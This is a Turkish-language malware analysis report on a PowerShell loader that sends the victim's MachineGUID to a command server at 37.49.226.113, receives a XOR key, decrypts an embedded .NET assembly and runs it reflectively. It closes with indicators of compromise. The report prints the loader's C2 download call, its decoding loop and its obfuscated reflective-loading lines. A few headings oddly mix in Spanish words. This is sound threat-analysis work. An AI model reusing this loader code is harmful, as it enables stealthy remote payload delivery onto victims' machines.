PowerShell XOR .NET Loader: MachineGUID Kimlik Doğrulama ve Yansımalı Assembly Yükleme

Genel Bakış

PowerShell XOR .NET Loader, 5214 satırlık bir PowerShell betiğidir. Betiğin büyük bölümü gömülü XOR şifreli bir .NET assembly'den oluşmaktadır. Yürütme sırasında MachineGUID ile kimlik doğrulama yapılmakta, C2 sunucusundan (37.49.226.113) XOR anahtarı ve giriş noktası parametreleri çekilmekte, ardından yansımalı .NET yüklemesi gerçekleştirilmektedir.

Teknik Analiz

Yürütme Akışı

1. Gömülü Payload: $bdt değişkeninde XOR şifreli .NET assembly byte dizisi (~5200 satır hex)
2. MachineGUID Tanımlaması:

   $guid = (Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Cryptography).MachineGuid

3. C2 İletişimi:

   $cffd = $clnt.DownloadString("http://37.49.226.113/index.php?id=$guid&subid=5OMy8xSO")

4. Yanıt Ayrıştırma: $cffd.Split('|') → $connf[0] = XOR anahtarı, $connf[1..3] = assembly parametreleri
5. XOR Çözme:

   for ($i = 0; $i -lt $bdt.Length; ++$i) {
       $bdt[$i] = $bdt[$i] -bxor $k[$i % $k.Length]
   }

6. Yansımalı .NET Yükleme:

   $typee = [System.Type]::GetType("Sy"+"st"+"em.Re"+"flec"+"tion.Assemb"+"ly")
   $mtd = $typee.GetMethod("Load", [Type[]]@([byte[]]))
   $sm = $mtd.("In"+"vok"+"e")($null, @(,$bdt))
   $ep = $sm.EntryPoint
   $ep.Invoke($null, (, [string[]] ($connf[1], $connf[2], $connf[3])))

C2 Parametreleri

• Sunucu IP: 37.49.226.113
• Endpoint: /index.php?id=[MachineGUID]&subid=5OMy8xSO
• Kampanya/Affiliate ID: 5OMy8xSO
• Protokol: HTTP (port 80)

Confianzalik Analizi

• Dize parçalama (string splitting): "Sy"+"st"+"em", "In"+"vok"+"e" — statik analizi engelleme
• MachineGUID kullanımı: Her kurban için benzersiz XOR anahtarı — payload analizi zorlaştırılıyor
• Çevrimiçi bağımlılık: C2 çevrimdışıysa payload çözülemiyor

Teknik Propiedadler

IOC Özeti

• C2 IP: 37.49.226.113
• C2 URL: http://37.49.226.113/index.php?id=[GUID]&subid=5OMy8xSO
• Kampanya ID: 5OMy8xSO
• SHA256: 6df8ffa08152c1ef097a2caa52675c4085cc459d1d7e28053cfc8a451a8432aa